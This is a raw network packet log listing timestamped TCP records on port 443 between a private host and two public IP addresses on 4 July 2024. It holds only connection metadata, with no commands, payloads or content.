Jul 4, 2024 20:19:13.745012045 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:13.745083094 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.745121002 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:13.745136976 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:13.745230913 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.746115923 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.747900963 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.747927904 CEST	443	49907	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:13.747992039 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.748373032 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.748383045 CEST	443	49907	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:13.833637953 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:13.835639000 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:13.835705996 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:13.835781097 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:13.836060047 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:13.836091042 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:13.876501083 CEST	443	49907	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:14.354553938 CEST	443	49907	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:14.354654074 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:14.354659081 CEST	443	49907	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:14.354720116 CEST	49907	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:14.494267941 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:14.501517057 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:14.501558065 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:14.622387886 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:14.622458935 CEST	443	49908	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:14.622709990 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:14.623646975 CEST	49908	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:14.627504110 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:14.627532005 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:14.627821922 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:14.628065109 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:14.628082991 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:15.484816074 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:15.484879971 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:15.488008022 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:15.488018990 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:15.488234997 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:15.490593910 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:15.536494970 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.295447111 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.295527935 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.295536041 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.295546055 CEST	443	49909	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.295634031 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.296530008 CEST	49909	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.298412085 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.298435926 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.298512936 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.298871040 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.298888922 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.898143053 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:16.903759003 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:16.903774977 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.088259935 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.088886023 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.088893890 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.089011908 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.089021921 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.089701891 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.091069937 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.091077089 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.178499937 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.178674936 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.178683996 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.179564953 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.179570913 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.179629087 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.179656982 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.179677010 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.179773092 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.180502892 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.180510044 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.180608988 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.180617094 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.180753946 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.181328058 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.181335926 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.181438923 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.181447029 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.239612103 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.268894911 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.268912077 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.268974066 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.268986940 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.269093037 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.269150972 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269159079 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269392014 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.269401073 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269853115 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269860983 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269917011 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.269925117 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.269973993 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.270570993 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.270656109 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.270663023 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.271472931 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.271557093 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.271564007 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.272293091 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.272361994 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.272371054 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.272579908 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.272648096 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.272655010 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.273394108 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.273462057 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.273468971 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.358839035 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.358923912 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.358936071 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359122992 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359129906 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359181881 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359198093 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.359224081 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359287024 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.359432936 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359445095 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359541893 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.359550953 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359868050 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359877110 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.359935045 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.359942913 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.360301018 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.360342979 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.360368013 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.360378027 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.360425949 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.360557079 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.360625029 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.360632896 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.361109972 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.361176968 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.361183882 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.361453056 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.361525059 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.361531973 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.361959934 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.362169981 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.364640951 CEST	49910	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:17.364650965 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:17.364655018 CEST	443	49910	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:17.364726067 CEST	443	49911	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:17.364828110 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:17.365803003 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:17.365837097 CEST	443	49911	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:17.950040102 CEST	443	49911	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:17.952533007 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:17.952622890 CEST	443	49911	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.021363974 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.021514893 CEST	443	49911	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.021585941 CEST	49911	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.022959948 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.023041010 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.023108959 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.023422956 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.023456097 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.632775068 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.632894039 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.633536100 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.633663893 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.636300087 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.636332989 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.636584044 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.638175011 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.680512905 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.798065901 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.798136950 CEST	443	49912	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:18.798286915 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.799799919 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:18.799799919 CEST	49912	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:18.799844980 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:18.800029039 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:18.800474882 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:18.800494909 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:19.433617115 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:19.438391924 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:19.438404083 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:20.360501051 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:20.360606909 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.360618114 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:20.360733986 CEST	443	49913	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:20.360812902 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.361335039 CEST	49913	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.362411976 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.362433910 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:20.362517118 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.362771034 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:20.362786055 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.239170074 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.241308928 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.241332054 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.427556038 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.427582979 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.427658081 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.427666903 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.427726984 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.428512096 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.428519964 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.428596020 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.428606033 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.429518938 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.429583073 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.429591894 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.429661036 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.517591953 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.517654896 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.517666101 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.518306971 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.518366098 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.518373013 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.519174099 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.519222975 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.519227982 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.519989014 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.520041943 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.520046949 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.567717075 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.607162952 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.607172012 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.607287884 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.607297897 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.607364893 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.607415915 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.607422113 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.608072042 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.608135939 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.608140945 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.608946085 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.608993053 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.608999014 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.609328985 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.609386921 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.609391928 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.609568119 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.609626055 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.609632015 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.610340118 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.610389948 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.610394955 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.612596989 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.612653017 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.612660885 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.662049055 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.701711893 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.701720953 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.701773882 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.701781034 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.701992035 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.702032089 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.702044964 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.702050924 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.702078104 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.702147007 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.702188015 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.702193022 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709148884 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709203959 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709213018 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709254026 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709445000 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709491968 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709496975 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709786892 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709834099 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709834099 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709847927 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709891081 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709894896 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709907055 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709942102 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.709948063 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.709985018 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.710431099 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.710490942 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.710495949 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.710561991 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.710611105 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.710616112 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711175919 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711230040 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.711231947 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711241961 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711281061 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.711286068 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711317062 CEST	443	49914	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:21.711317062 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.711358070 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.711673021 CEST	49914	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:21.726772070 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:21.726866961 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:21.726958036 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:21.727401972 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:21.727436066 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:22.315342903 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:22.317234993 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:22.317267895 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:22.448240995 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:22.448338985 CEST	443	49915	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:22.448416948 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:22.448719978 CEST	49915	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:22.450439930 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:22.450483084 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:22.450541973 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:22.450882912 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:22.450896978 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:23.082005024 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:23.084132910 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:23.084151983 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.187803984 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.187861919 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.187876940 CEST	443	49916	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.188805103 CEST	49916	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.190495968 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.190599918 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.190682888 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.190968990 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.191020012 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.835870028 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:24.839951038 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:24.840022087 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.046669006 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.046700954 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.046771049 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.046819925 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.046997070 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.047615051 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.047622919 CEST	443	49917	13.107.139.11	192.168.2.6
